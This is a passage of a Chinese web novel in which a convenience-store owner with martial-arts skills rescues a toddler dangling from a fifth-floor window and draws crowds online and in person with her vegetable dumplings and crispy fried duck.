等她终于包完一个时,明清欢已经包好七八个。这还不算,等周瑶瑶把自己包的团子放下来时,对比旁边那完美的菜团子,她瞬间就不好意思起来:“这个我待会自己吃。” 连包了几个丑团子后,周瑶瑶心里已经有点想放弃了,正好此时外面传来八哥扯着嗓子叫“开门”的声音,她立刻以此为理由跑出去。 “开门可以,你可别在店里捣蛋。” 知道老板是半散养着它,周瑶瑶见八哥闹着要出笼子,直接将笼门打开。 万物皆有灵,八哥可能是知道明清欢不是会惯着它的主人,除了偶尔会调皮,大部分时候还是不敢胡闹。 就在周瑶瑶把它放出来玩时,厨房里渐渐有香味传出来,刚开始只有馒头香,渐渐的开始有一股清鲜的菜香味。 由于今天做菜团子,明清欢就没煮茶叶蛋,不过菜团子她多做了点,除了自己吃倒是还能卖一部分。 赵老爷子本来是准备来店里逗逗鸟,顺便买点馒头回去,没想到还没进门就闻到股诱人的香味,不由开口:“小周,店里今天又做什么好吃的了?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 16、第16章 周瑶瑶以前还没被人叫过“小周”,她家里人都是喊瑶瑶,同事则是要么喊她全名,要么喊“周周”,被这么称呼她还怪不适应。 不过想到自家老板被老爷子喊“小明”,她又觉得“小周”也挺好。 “赵爷爷好,今天老板做了菜团子。” 赵老爷子是明老爷子的朋友,明清欢要喊他一声爷爷,周瑶瑶便跟着这么喊了。 “菜团子?这个好,我好久没吃过菜团子了,以前那会,家里经常会包野菜团子……” 人年纪大了就很喜欢回忆以前的事情,赵老爷子说着说着就又开始想当年。 周瑶瑶最近正在看年代文,听到他的话倒是没有觉得无聊,反而还顺势追问起来。 一老一少才聊没两分钟,街上开始有不少人向着侠客便利店走过来,其中就有之前来吃过午餐的主播王瑞二。 他上次来店里做直播效果很不错,听说店里还有早餐,特意挑个日子早起过来,准备再做点内容。 不过由于觉得馒头再好吃可拍性也没那么强,他今天没搞直播,而是准备拍个视频。 等他进店时,店内已经排上队,排队的大部分都是中老年人,像王瑞二这种年轻人只有两个。 老顾客们得知今天有菜团子,哪怕菜团子还没出锅,光闻香味就个个抢着买起来:“我要十个菜团子。” “我要五个。” “我要十五个。” 显然,老顾客对明清欢手艺很是信任,觉得馒头她都能做得那么香,菜团子肯定只会更好吃。 明清欢将馒头和刚蒸好的菜团子送出来,热气带着香味扑向的顾客们,让他们不自觉深吸几口气。 “不好意思,菜团子做得不多,每个人只能买两个。” 明清欢话落,排在最前面的赵老爷子道:“那给我两个菜团子,再来三个玉米馒头,三个白馒头。” 明清欢动作麻利地帮他装好早餐时,周瑶瑶也没闲着,动手帮下一位顾客装。 王瑞二排在队伍中间,得知今天早上有菜团子卖,顿时感觉自己运气是真不错,正好选在今天过来。 他拿着手机拍素材时,前面赵老爷子几个顾客拿到菜团子已经吃起来。 皮薄馅大的菜团子一口下去就能咬到馅,如果说咬开前更多的还是玉米面混着菜香,那么咬开后,那被包裹在团子里的菜香瞬间就涌出来,浓郁的清鲜味直往人鼻子里钻。 吃菜团子前,赵老爷子想的是忆苦思甜,吃菜团子后,他觉得以前要是有这么好吃的菜团子,那大家做梦都能笑醒。 菜团子里明明没有肉,唯一的荤腥是用来提鲜的虾皮,但吃起来却格外美味。团子皮散发着玉米的清香,吃起来没有玉米馒头那么松软,而是口感更紧实有韧劲一些,里面的菜馅清鲜爽口,配着团子皮一起吃,简直不要太满足。 赵老爷子本来只想先尝一个,结果吃得根本停不下来,只感觉这菜团子越吃越香。 还在排队的顾客看到他吃得那么香,一个个都伸长脖子往前面看,生怕等轮到自己时卖完了。 “好吃吗?”还有人忍不住开口问。 赵老爷子连连点头:“好吃,皮好吃,馅更好吃。” 随着菜馅味道飘满整个店铺,别说其他顾客,就连周瑶瑶都忍不住暗暗咽口水。 “你的菜团子蒸好了,趁热吃。”明清欢看到她那副馋猫模样,语气带着淡淡笑意。 “那我不客气了。” 周瑶瑶望着单独装在碗里的菜团子,只感觉自己包的团子蒸熟以后形状更加丑。 旁边顾客不知道那是她自己包的,还觉得她们挺厚道,把不好的留着自己吃,好的拿来卖。 好在面是明清欢揉的,馅也是她调的,周瑶瑶自己包的菜团子除了卖相没那么好看,吃起来味道却不差。 “唔,好好吃啊,没想到玉米面除了做馒头,还能做出这么好吃的菜团子。” 由胡萝卜丝、菠菜、鸡蛋等食材组成的馅吃起来既有鸡蛋的鲜嫩,又有蔬菜的爽口,味道和口感都特别丰富,好吃到她根本停不下来。 她把自己包的那几个丑团子解决完,忍不住想再拿一个明清欢包的漂亮团子。 玉米面做的菜团子还挺填肚子,明清欢真怕她撑着:“你不撑吗?” “我总感觉你包的会更好吃。”周瑶瑶确实有点撑,边说边嘿嘿笑着,显然有点不好意思。 “厨房里还给你留了。” 得知厨房里还有,周瑶瑶这才没继续吃,而是赶紧给顾客打包。 菜团子数量有限,最终只有前面来的顾客买到。王瑞二运气不错,买完就赶紧趁着还没人坐椅子,拉开桌边的椅子坐下开始拍视频。 其实闻着店内浓郁香味,他是真很想赶紧咬几口,但就两个菜团子,为了拍视频,他还是忍住馋意,先给菜团子和馒头拍几个特写。 “小伙子你吃不吃?要是不吃的话能不能卖给我?” 有没买到菜团子的大爷可能是看到他把菜团子放在桌子拍个不停却不吃,于是拍着他肩膀问。 “我马上就吃。” 王瑞二说完拿起菜团子对着手机吃起来,边吃边点头夸赞:“玉米面做的团子吃起来有股清香感,皮薄馅大,一口就能咬到里面菜馅,馅里面有胡萝卜丝、菠菜、鸡蛋、香菇,应该还放了点虾皮,不光吃起来鲜爽可口,颜色更是很漂亮,特别有春天气息……” 他介绍完对着镜头给咬开的菜团子一个特写,红色的胡萝卜、绿色的菠菜,嫩黄色的鸡蛋,褐色的香菇,几种颜色搭配在一起,看着就令人很有食欲。 等拍完菜团子,他又分别拿起玉米馒头和白馒头。 本来王瑞二以为吃过菜团子后,馒头不会让他有什么感觉,谁知咬下去时,那完美的口感,却是让他眼前一亮,只觉得从没吃过这么好吃的馒头。 跟菜团子比起来,馒头味道确实要寡淡些,但细细咀嚼间在味蕾上蔓延开的淡淡甜味,却是让人越吃越觉得香。 不论是菜团子还是馒头都让王瑞二发自内心觉得好吃,于是不知不觉就多吃了点,吃完差点没撑着。 边回味边感叹今天不虚此行时,他摸着肚子站起来,决定再补拍点店外的视频当素材。 就在他举着手机往外走时,却忽然从屏幕上看到不得了的画面,差点没叫出声来。 祥云街上大多是像明清欢家便利店这种两层或者三层的小楼,不过在斜对面,却有一栋最近几年新建的六层楼。 王瑞二手机摄像头正是不小心扫到这栋楼,发现五楼防盗窗上卡着个快掉下来的小孩,简直瞬间吓得他心都快跳出来。 “你们,你们谁快赶紧帮忙报个警。”王瑞二透过屏幕发现那小孩半个身子都已经吊在半空中,声音都在发抖。 他以为自己声音很大,却不知紧张之下,其实并没有他想的那么大,加上店内还有其他顾客在说话,最终反而是离他最远的明清欢凭借敏锐的五感听清楚。 明清欢当然知道报警是什么情况,闻言直接从里面走出来:“怎么了?” “那有个孩子要掉下来了!现在要怎么办?”王瑞二有点慌,听到有人问他,下意识举起手机屏幕。 明清欢先看一眼手机屏幕,再抬头看向斜对面那栋楼,眼见那孩子已经只剩头卡在防盗窗内,顾不得多想,赶紧飞奔过去。 她突然往外跑吸引店内其他人以及街上人,很快大家也渐渐发现那个快要掉下来的小孩子。 “天哪!快救人!” 此时大家已经顾不上指责孩子家长是怎么回事,有些往那栋楼跑,想要敲门提醒家长救人,有些则赶紧去寻找被子准备接人。 而跟他们比起来,明清欢却是行动最快那个,她到楼底下后根本没有犹豫,直接借助建筑外墙的管道、防盗窗能一切能借助的东西飞快往上爬。 五楼的高度,她不过几十秒就爬上去,甚至在楼底下人来不及胆战心惊时,她已经成功将那个一岁左右的孩子抱入怀中,带着他一起下楼。 比起上楼时的快速敏捷,怀里多个孩子后她动作稍微放慢一些,但也在两分钟内成功下来。 她下来前,楼底下那些人连呼吸都不自觉放轻,生怕惊到她,还有正在车里的人直接把车开到楼下,想着如果有个万一,能缓冲一下。 “老板你没事吧!” 在明清欢成功把孩子带下来时,周瑶瑶也已经到楼下,立刻上前关心。 她话落,刚刚放轻呼吸的人终于想起来恢复正常呼吸频率,开始啪啪啪鼓掌。 “小姑娘胆子真大!” “你也太厉害了!” 大家夸赞明清欢的同时不忘关心她怀里那个孩子,见小家伙窝在她怀里竟然还在笑,不好说一个孩子什么,于是纷纷指责起孩子家长来。 当然,也有人想起来之前街上有人砍人那件事,认出当时也是明清欢出手制服歹徒,纷纷好奇她是不是学过功夫。 明清欢笑笑没接话,而不远处,王瑞二却是将刚刚发生的一切全部用手机记录下来。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 17-20 第17章 第17章脆皮香酥鸭 以前在大齐时,明清欢心中虽有仇恨,却并未被仇恨蒙蔽双眼,行走在江湖中,行侠仗义之事并未少干。 对她来说,救个孩子而已,不过是举手之劳的小事,等把孩子交给匆匆赶过来的家长后就直接回店里去。 孩子家长心中后怕,只顾着紧抱孩子不放,直到下午才带着东西来便利店表达感谢。 本身上午明清欢爬楼救孩子的事情就引得周围居民津津乐道,随着孩子家长过来感谢,并在便利店门口放了几挂鞭炮,立刻引得大家过来围观。 早上那会孩子爸妈去上班了,孩子奶奶见孙子还在睡,想着出去卖点菜,万万没想到就她出去那会工夫,孩子竟然会爬到窗户外去。 孩子奶奶现在想想还后怕,进入便利店差点没给明清欢跪下。 明清欢有点不适应这种场景,赶紧把老人扶住后,不由看向周瑶瑶。 别看我,我也没经历过这种情况…… 周瑶瑶眼神里写满爱莫难助。 见指望不上她,明清欢表情有些无奈,应付好一会才把这家人送走,但他们带来的谢礼却是怎么都不肯收回去,硬是都留在店内。 “老板别叹气了,你早上救人那么危险,人家送点谢礼不是也正常,对了,这个锦旗要挂在哪?” 周瑶瑶想到那可是五层楼,简直太佩服她的勇气,觉得她收到什么感谢都是应该的。 “挂起来?”明清欢语气透着疑惑。 周瑶瑶点头:“对啊,锦旗不都是挂在墙上。” 红色锦旗上写着“危难时刻施援手,救命之恩永难忘”几个大字,底下还落着日期和明清欢的大名,她光想想把这个挂墙上就感觉莫名尴尬,摇头否定挂起来的决定。 “还是收进柜子里。” “好吧。” 见她不愿意挂,周瑶瑶又欣赏两眼,顺便拍个视频发朋友圈后才收起来。 当天晚上,王瑞二分享出来的视频受到很大关注。 他今天剪了两个视频,一个是美食相关,另外一个就是明清欢救人的场景。 视频全程记录明清欢从便利店里飞奔而出,到楼底下毫不犹豫攀缘而上,速度快得让人甚至有点怀疑自己是不是眼花。 甚至可以说,如果不是王瑞二摄像头一直对着那边,以她那个速度,还真不一定能拍下来。 【这是在拍戏吗?不过怎么没看到威亚?】 【拍个鬼戏,标题里不是写了,救人实拍。】 【不是,那可是五层楼,就算是拍戏也爬不了那么快吧?太夸张了!】 【妈呀,看到那个孩子在半空中动着身子时,我心都快跳出来,还好她上去得够快,不然我感觉那小孩都要掉下来了。】 【看得我好感动啊,谁说女子不如男,就冲着视频,我决定原谅这个世界五分钟。】 【真服了现在的家长,怎么能让孩子爬到那么危险的地方……】 【看了作者另外一个视频,原来救人的是便利店老板,看救人视频前我只想说“侠客便利店是什么奇怪的名字”,看完救人视频后,我只想说“女侠好身手”。】 【怪不得叫侠客便利店,原来店里真有侠客,真是失敬失敬。】 【给女侠点赞,女侠好样的!】 【你们都只会嘴上说说,我就不一样了,我决定明天找跑腿小哥去店里买馒头和快餐支持女侠的生意。】 【看完作者账号里和侠客便利店相关的美食视频,我都不想点破你那点小心思,支持是假,我看想吃美食才是真吧!】 评论区里,网友们有人夸赞明清欢的勇气,有人吐槽孩子家长不负责任,还有不少人表示要支持便利店的生意。 网友们还真不是都喜欢吹牛,次日上午真有人开始行动,由于有些是外地网友,他们下意识先在外卖平台上搜索,确定点不了外卖,只能去找跑腿。 他们想得很好,现在天气不热,馒头可以留几天,让跑腿帮忙买馒头寄过来,既能尝尝馒头是不是像视频里那么好吃,又能支持一下便利店的生意。 可惜他们却是低估便利店馒头有多抢手,跑腿小哥到店门口时,店里馒头早就卖得差不多,而且还有好多人在排队。 “别排了,今天馒头已经要卖完了。”周瑶瑶看到又有人来排队,赶紧开口提醒。 “真没有了吗?我帮外地顾客买的。” “不好意思,真没有了。” 周瑶瑶话落,跑腿小哥只能给顾客打电话。 “啊?她家馒头那么抢手吗?那你帮我在她家随便买一百块钱零食。” 顾客得知馒头卖完,没让跑腿小哥白跑,而是让他挑选一百块自己觉得不错的零食。 等外卖小哥买完零食,询问怎么给他寄过去时,顾客却表示零食送他了。 “你不要吗?”跑腿小哥感觉这单让他有点莫名其妙。 “不要,你拿走吃吧,我主要是想支持一下店里生意。” 白得一百块钱零食,跑腿小哥自然高兴,由于得知顾客是要支持店里生意,他自然不会搞退钱那套,而是心情愉悦地从店内离开。 馒头卖完,明清欢去厨房准备午餐去,而接下来店里却是时不时有跑腿小哥上门,而且一买最少都是五十块,最多的甚至有五百块。 五百块那个跑腿小哥没买零食,而是买的米面粮油,买完按照顾客的要求,除了给自己留一份外,其他的去街上送给清洁工或其他有需要的老人。 “好好你的米你自己怎么不要?”收到大米的老人有点想要又不好意思要。 “顾客买了让我送人的,你就拿着吧,你不要也得送给其他人。” 周瑶瑶并不知道跑腿小哥在店里买完东西是拿去送人,但一上午来好几个跑腿小哥,还是让她有点诧异,忍不住跑到厨房门口。 “老板,今天好奇怪啊,来了好多跑腿小哥买东西,一个上午的营业额都破几千了。” “你没问问他们吗?”明清欢忙活手里的活边问。 “问了,说是帮顾客买的。” 周瑶瑶话落余光注意到旁边盆里的鸭子,凑过去道:“老板,好像我早上过来时就看到鸭子在盆里,这是在干嘛?” “昨天晚上腌的,中午用来做脆皮香酥鸭。” “啊?要腌那么久吗?”周瑶瑶说完掰着手指算起时间来,发现盆里的那些鸭子至少腌了十几个小时。 “至少要腌十二个小时才能去腥入味。” 周瑶瑶听到要腌那么久,好奇地打量着盆里,辨认自己能认出来的香料:“葱、姜、花椒、香叶……” 明清欢笑着将她漏掉的配料告诉她,随即开始把鸭子上蒸锅。 “不是脆皮鸭吗?怎么要蒸?”周瑶瑶奇怪道。 “这道菜要先蒸再炸才好吃。” 周瑶瑶对脆皮香酥鸭很感兴趣,想要就在厨房看她怎么做,可惜没一会外面又响起顾客上门的声音,她只能出去接待。 她出去后,接下来时不时就有顾客上门。以前在公司上班时,一忙起来她就想骂老板,骂领导,但今天忙起来,她心里反而挺高兴。 就在周瑶瑶在店里忙着给顾客算账收钱时,明清欢在厨房里同样不清闲,趁着鸭子还在锅上蒸,她在案板前将其他食材改切的全部切好。 等她把食材处理得差不多时,肉香味从蒸锅里慢慢飘出来,越来越浓郁的鸭肉味,闻起来很是诱人。 明清欢总共准备了六只鸭,鸭子蒸好后取出,将里面香料全部挑出来。 腌制十二个小时的鸭子被高温蒸熟,别提有多香,周瑶瑶闻着味又凑到厨房门口看两眼,心里开始期待起今天的午餐来。 “好香,这是在做什么好吃的?” 店内有两个顾客本来在挑选零食,闻见香味忍不住转头询问。 “脆皮香酥鸭。”周瑶瑶尾音微微上扬,显然是心情很不错。 两位顾客本来是刷到同城视频,很佩服视频中店老板爬楼救人的勇气,所以今天特意过来买点东西支持生意。 此时闻着香味,再听到“脆皮香酥鸭”这道菜名,肚子里的馋意被勾起来。 “什么时候能吃?” 现在才十点都没到,谁家都不会那么早吃午饭,周瑶瑶告诉他们至少还要一个多小时后,两人有些犹豫要不要等。 他们说话时,厨房内明清欢已经开始起锅烧油,随着油到七分热,她开始将鸭子依次下入锅中炸。 如果现在有人在旁边计数,就能发现她明明没有用秒表,却精准地保持着每只鸭在油锅中炸四十秒,一分不多,一分不少。 先腌后蒸的鸭腥气早就被去除,同时连骨头都被腌入味,此时被热油一炸,那股浓郁的肉香瞬间就被激发出来,其中还夹着香料的气息。 原本被蒸得骨酥肉烂的鸭子经过油炸已经完全定形,颜色呈浅金色。 等到明清欢用八成油温进行第二次复炸时,每次两分钟的油炸让鸭子颜色更加漂亮,同时炸肉特有的香味一阵阵向着厨房外飘出去。 好香啊! 越来越浓郁的香味飘到店中,店内三个人瞬间产生同样的念头,刚刚还犹豫的两位顾客付完零食钱后直接在桌旁坐下来,显然用行动表明要留下来吃饭。 这两位顾客是对小情侣,二人本来以为刚刚那阵香味已经够诱人,没想到很快又有股更加香几个度的气息扑鼻而来。 油脂香加上鸭肉特有的香味,以及被热油激发出来由腌制香料产生的复合香气,简直令人恨不得立刻抱着鸭子咬上一大口。 “怎么会有这么香的鸭子?搞得我口水都快下来了。”男顾客摸着嘴角对女朋友说。 他女朋友赞同地点头:“是啊,光闻香味就把我给搞饿了……” 此时厨房内,明清欢正在用八成油温对鸭子进行最后一次复炸,被炸过的鸭子颜色已经呈现金黄色,表面泛着琥珀色油光。 周瑶瑶被香味勾引进来时,就看到被炸好的鸭子躺在盆里,上面还在滋滋冒着油泡,鸭皮被炸干后,像一层薄薄的琥珀色琉璃覆盖在同样金黄色的鸭肉上。 她目不转睛望着盆里的鸭子,喉咙不自觉发出吞咽动作,整个人感觉快要被馋哭。 最后一次复炸只用三十秒,因此明清欢很快就将六只鸭子炸完,转头看到周瑶瑶望着鸭子口水快流下来时,直接被逗笑。 周瑶瑶听到她笑声瞬间回过神,先咽一下口水才敢说话,不然她怕自己真要被馋得口水流出来:“老板,你做的这个鸭子看起来真漂亮,可以吃了吗?” 看得出来,夸赞不是她的主要目的,她主要还是想吃。 “等我先把鸭子切开。” 明清欢做事是真麻利,她话还没说完手里已经拿上刀,等最后一个字落下时一只鸭子就已经被切成完美的块状。 被切开的鸭肉呈深红色,和表皮的金黄形成对比,看起来卖相十足。 鸭子切好,不用周瑶瑶开口,明清欢直接将刚刚特意没切碎的那个鸭腿递给她:“吃吧。” “谢谢老板,爱你么么哒~” 周瑶瑶拿到鸭腿高兴得跟个孩子一样,见她还要继续忙着做菜,没留在厨房里碍事,而是自觉地跑出去吃。 “可以吃饭了吗?” 两个等在店里的顾客看到她手中那只金红相间,不论是卖相还是香味都特别诱人的鸭腿,眼底都不自觉透出几分渴望。 “还没,我只是先帮忙尝个味。” 周瑶瑶说完背对着两个顾客,去旁边鸟笼前馋鸟去。 “吃,小八,吃~” “不行,都是鸟类,你怎么能吃鸭鸭呢?”周瑶瑶说完自己咬了一大口,咬下去瞬间,表面那层脆皮发出“咔嚓”声,再继续往下咬,鸭肉紧实细嫩,汁水经过油炸完全被包裹在肉中,简直别提多好吃。 她发誓她只是想馋一下八哥而已,结果八哥是馋到了,还顺便把隔壁小孩给馋哭。 隔壁是童装店,有小孩不要太正常,本来小孩子是被便利店八哥给吸引,站在门口看鸟,结果周瑶瑶站在鸟笼前啃鸭腿,直接把他给馋哭。 “老板,再给我一块鸭!” “怎么了?”明清欢转头看向忽然跑进来的周瑶瑶。 “你这鸭也没裹上面包糠一炸,结果还是把隔壁小孩给馋哭了,我得拿块鸭去哄哄。” 周瑶瑶语气无奈,但不影响她边说边继续啃鸭腿,越吃越觉得香。 “为什么要裹面包糠炸?”明清欢不解,毕竟不论是在大齐还是现代,她都没听说过香酥鸭要裹面包糠炸。 “你没听过这个段子吗?” 得知只是段子,不是真有这个做法,明清欢没再继续问,用筷子夹块香酥鸭递给她。 “谢谢老板~” 周瑶瑶拿到香酥鸭,直接小跑到店门口塞进哇哇哭的小孩手中,闻见香味,小孩哭声瞬间停止,开始往嘴里塞肉。 两岁左右的小家伙长得白白嫩嫩,此时眼睛里还带着泪水,嘴巴却是啊呜啊呜咬着肉吃起来,吃得那叫一个香。 “煊煊慢点吃,要嚼碎才可以吞下去。”孩子妈妈看到儿子吃相下意识提醒一句,随即带着满脸不好意思对周瑶瑶说,“谢谢,给你添麻烦了。” “没事没事。” 小孩子贪吃很正常,周瑶瑶觉得他只要不哭还是挺可爱的,不在意地摆摆手。 煊煊妈妈却觉得不好意思白吃,牵着儿子准备进店里买点东西。 刚刚还哭唧唧的小家伙现在嘴里有吃的,倒是乖得很,不吵不闹地跟着妈妈走进店里。 进店后得知便利店有饭吃,同样觉得香酥鸭很香的煊煊妈妈立刻决定中午就在这里吃。 店内那张桌上只坐了之前那对小情侣,此时正好还剩两个位置让母子二人坐。 坐在桌前的男顾客望着认真啃肉的小孩,心里觉得还是当孩子好,嘴上则是问:“小朋友,好不好吃啊?” 吃得嘴上沾油的小家伙点着脑袋,显然已经被香酥鸭给香迷糊,压根顾不上说话。 三大一小坐在桌前等饭吃时,外面又有人过来,还没进门就先深吸一口气感叹:“好香啊!” 感叹完发现店里已经有人,他不由嘀咕:“还以为我已经来得挺早,没想到……” 他嘀咕完找椅子坐下时,厨房内明清欢已经在炒其他菜。 刚刚用来炸香酥鸭的油可是好东西,里面吸收鸭油脂香以及香料气息,拿来炒菜吃特别香。 绿油油的小青菜用油一炒,保持食材本身翠绿的同时染上一层油光,买相十足。 今天除了脆皮香酥鸭、炒青菜外,还有青椒炒蛋、红烧鸡翅、春笋炒五花肉、菌菇汤。 厨房里两个灶台同时打开,明清欢边炒菜边煮汤,还能保持两边都不耽误,显然是随着这些日子的营业,厨艺越发精进。 周瑶瑶还能啃鸭腿解馋,外面等待的顾客可是**馋着,时不时就要催几句。 被他们催得没办法,周瑶瑶只能跑到厨房门口问:“老板好了没?” “快好了,你可以先把米饭打出去。” “好!” 周瑶瑶小跑进来把手洗干净,随即戴上厨房专用口罩开始打饭。 其实最开始她和明清欢都想不起来戴口罩,还是周瑶瑶发现有人到拍店视频,想起来这个问题,于是开始注意戴口罩。 将米饭往盆里打的同时,周瑶瑶眼神却是看向旁边那些菜,尤其是那盆金红相间的香酥鸭,刚刚吃一个鸭腿根本没过瘾,反而更加馋,恨不得抱着碗吃个够。 好在馋归馋,她还是知道现在得先把快餐卖完,于是赶紧把米饭端出去。 随着米饭被端出来,已经到店的顾客瞬间就坐不住,纷纷起身排队。 “妈妈,我要吃肉肉!” “好,妈妈给你买肉肉吃,但是你记住,下次想吃什么要好好说,可不能哭鼻子了。” 煊煊妈妈带着儿子 一起排队,还不忘教育孩子。 店内人排好队时,外面又过来好多人直接进入店中加入队伍尾巴,等周瑶瑶和明清欢一起将今天的午餐全部摆出来时,队已经排到门口。 “哇,今天的菜色看着就很有食欲。” “废话,老板做的菜哪天不是色香味俱全。” “今天有鸭子吃,真不错。” 老顾客们看到今天的菜色,还没吃就已经开始夸赞起来。 “这是烤鸭吗?给我多打点这个鸭子。” “不是烤鸭,是脆皮香酥鸭。”明清欢边回答顾客的问题边动手打菜。 “脆皮香酥鸭?听名字就好吃,我要多吃点。” 何止听名字就好吃,香酥鸭摆在盆里,明清欢还在上面点缀一点绿色菜叶子,卖相看起来就让人嘴巴里不自觉分泌出口水,还没吃就感觉肯定好吃。 小情侣那到饭菜后,很快就轮到那对母子,当妈妈的刚拿到饭,小家伙就像只嗷嗷待哺的小鸟一样张开嘴巴:“妈妈要吃饭饭~” 难得见自家儿子吃饭那么积极,煊煊妈妈开口哄着:“好,你去椅子上坐好我们马上就吃。” 听到坐好就有饭饭吃,煊煊立刻哒哒哒跑回桌前坐好。 与此同时,那对小情侣顾客已经吃上饭,二人都不约而同先朝香酥鸭下筷子。 脆皮香酥鸭不愧它的名字,鸭皮入口酥脆,鸭肉弹嫩多汁,再蘸上点店里给的椒盐,吃起来咸鲜可口,令人回味无穷。 桌上明明坐了四个人,但开动后却是连小朋友都没说话,显然是已经完全沉浸在美食中,完全没有多余的嘴巴去说话。 煊煊妈妈看到儿子一口菜一口饭,吃得别提有多香,忍不住拿手机记录下来,记录的同时嘴也没闲着,正吃着格外美味的香酥鸭。 由于店内位置少得可怜,大部分顾客买完饭都只能自己找地方吃,有个戴头盔的跑腿小哥买完饭从店内出来,直接来到自己车子旁边。 他今天接到一个特殊单子,是让他帮忙代吃。来之前他还想着,看在顾客出手大方的份上,不论让他代吃什么,他绝对要吃得让顾客满意。 来之后看到便利店的菜色,他只想说,顾客人太好了,就这种色香味俱全的饭菜,不给钱他也愿意吃啊! 忍着立刻开动的想法,他打通顾客视频,对着镜头道:“老板,快餐买好了,我是现在就开吃吗?” 说话时他还先给店门口“侠客便利店”招牌一个特写,再将摄像头转移到快餐上。 “那是香酥鸭吗?卖相看起来也太好了,你吃吧,吃完告诉我味道怎么样。” 这位顾客显然是属于刷到网上视频,既好奇便利店里快餐是不是真那么好吃,又想支持一下店里生意,但由于离q市比较远,所以才请跑腿帮忙代吃。 听到顾客说可以吃,跑腿小哥立刻一手举着手机,一手握着筷子吃起来。 “好吃吗?”顾客隔着屏幕看到他把整块鸭肉塞进嘴里,喉咙不自觉滚动一下。 跑腿小哥点头努力找词形容:“好吃,又香又脆又嫩,我从来没吃过这么好吃的鸭子!” 脆皮香酥鸭的特点就是脆、酥、香、嫩,酥脆的鸭皮和软嫩的鸭肉形成对比,咀嚼间瘦肉部分和微微油脂在味蕾上融合,简直越吃越香。 跑腿小哥吃得根本停不下来,连吃三块香酥鸭后才再次开口:“太好吃了,不光好吃,而且这鸭肉竟然还一点腥味都没有……” 听到他把那道香酥鸭夸出花来,顾客差点没被馋死,只恨自己离得太远,不能亲自品尝美食。 吃完脆皮香酥鸭,跑腿小哥还有点意犹未尽,不过剩下的菜同样美味,脆嫩的春笋,肥而不腻的五花肉,爽口的青菜,皮滑肉嫩还入味的红烧鸡翅,每样都令他赞不绝口。 肉类好吃很正常,但青菜都那么好吃,让他忍不住感叹:“她家连青菜都炒得格外好吃,吃起来爽口又美味,我以前竟然不知道附近还有这种好店!” 美食能令人心情愉悦真不是假话,跑腿小哥本来一上午没接到什么单子心情还有些郁闷,现在那点郁闷却是被面前的美味驱散。 想到又发现一家好吃还不贵的店,他甚至觉得收顾客的跑腿代吃费有点亏心,尤其是抬头看到屏幕中顾客明显被馋得快流口水时。 “要不跑腿费我就不收了,不然吃这么好吃的饭菜还收你钱,感觉怪不好意思的。”跑腿小哥已经决定将便利店当成自己接下来吃饭的地方,觉得自己还得感谢顾客让他知道这家店。 虽然顾客确实有一种自己花钱找馋的感觉,但还不至于让他退钱。 “不用了,你继续吃吧,我挂了。” 顾客说完就挂掉视频,准备找个店吃饭去,可惜在店里点了香酥鸭,却怎么看都觉得差点意思。 侠客便利店。 明清欢今天只做了六只鸭,鸭子切开分量倒是不少,可耐不住顾客人多,而且每个人都要点脆皮香酥鸭,以至于这道菜被最先卖光。 本来鸭头这种部位不太好卖,但最后连鸭头都有顾客抢着要,并且啃得那叫一个香。 得知没有香酥鸭了,还在排队的顾客很是失望:“老板你怎么不多做点啊……” “老板我可以等,你能再做点吗?” 脆皮香酥鸭要提前腌制,这会明清欢哪做得出来,听到她解释,顾客们只能喊她明天多做点。 “老板说真的,如果明天还吃不到脆皮香酥鸭,那我真的感觉活着也没什么意思了……” “俺也一样!” 有几个年轻顾客生怕明天还是买不到,甚至耍起宝来。 “放心,我明天一定多做几只。”明清欢语气透着点微微无奈。 “别几只啊!几只哪够,老板你直接做个一百只,放心肯定能卖出去,要是卖不完我通知亲朋好友都来捧场。” “对,老板你这鸭单卖吗?我可以直接买一只。” “我尽量多做点。”他们敢说,明清欢可不敢答应做那么多,不然一天天不用忙别的,光做香酥鸭去了。 好在脆皮香酥鸭虽卖完,其他菜还有,已经在排队的顾客好歹没白来。 “唔,这春笋炒五花肉好吃!不像我前几天吃的那家,笋子有涩味。” “老板你家小青菜怎么炒的?一点土腥味都没有,吃起来好爽口。” “红烧鸡翅好好吃,现做的就是不一样,不像我昨天吃的外卖,那鸡翅一吃就不新鲜。” “好吃,辣椒炒蛋吃起来特别下饭。” 便利店里其他菜色并不比脆皮香酥鸭差,顾客吃着吃着就夸起来。 十二点半左右时,便利店里连菜汤都被顾客吃干净,后面来的顾客连汤拌饭都吃不上。 闻着店里残留的香味,有老顾客忍不住道:“老板,这才十二点没过你家就没饭菜了,你觉得合理吗?算我求求你了,就不能多做点吗?” 跟之前固定五十份快餐比起来,明清欢最近做的菜分量已经不算少。之所以十二点半就卖完,主要还是顾客来得太早,好多人十点左右就在店里等着吃午饭。 明清欢解释了,顾客却是一副“我不听我不听”的态度,甚至想花钱蹭工作餐吃。 周瑶瑶哪里肯答应,瞬间就护食起来:“不行,工作餐我自己还不够吃!” 旁边鸟笼里,本来就被香味馋得不行的八哥听到她的话,扯着嗓子喊起来:“吃,吃,要吃~” 见它也来凑热闹,明清欢扔出颗瓜子砸过去,却被它低头啄开吃掉。 没买到快餐的顾客总不可能真去厨房里抢工作餐吃,只能叹着气离开,想着明天有什么办法翘班早点过来买饭。 随着店内顾客渐渐离开,周瑶瑶终于有空去吃饭,她捧着碗吃着香喷喷的脆皮香酥鸭,好吃得眼睛都弯起来。 “老板,香酥鸭真的好好吃哦!我以前总觉得鸭子腥,但你做的这个鸭一点腥味都吃不出来,这是我吃过最好吃的鸭子!” 以前跟鸭比起来,周瑶瑶更爱 吃鸡,但她今天忽然get到鸭的美味,感觉自己天天吃都不会腻。 “喜欢那你多吃点。” 明清欢说完,端着碗出去边吃饭边看店。 “要吃,吃啊~” 看到她出来,八哥又在笼子里上蹿下跳地叫起来,由于它太能闹腾,明清欢最终给它一小小块鸭肉。 等周瑶瑶从厨房出来时,就看到它用爪子抓着肉在吃,吃得那叫一个香。 午饭结束后,她感觉特意满足,想到现在这种好吃好喝还轻松的日子,觉得这才是生活。 “明天你还不放假吗?” 明清欢想到之前说好双休,但她上周只休一天,这周马上就到星期五她还没休过假,不由询问。 “我在家也没事干,还不如来店里玩,反正老板你人好,又不介意我在没事时玩手机。” 便利店里工作内容不算累,只用收收钱,整理一下货架,再偶尔搞搞卫生,去厨房打打下手。本来还有搬货的活,但根本用不着周瑶瑶帮忙,明清欢这个当老板的力气那叫一个大,三下五除二就直接搬进楼上仓库。 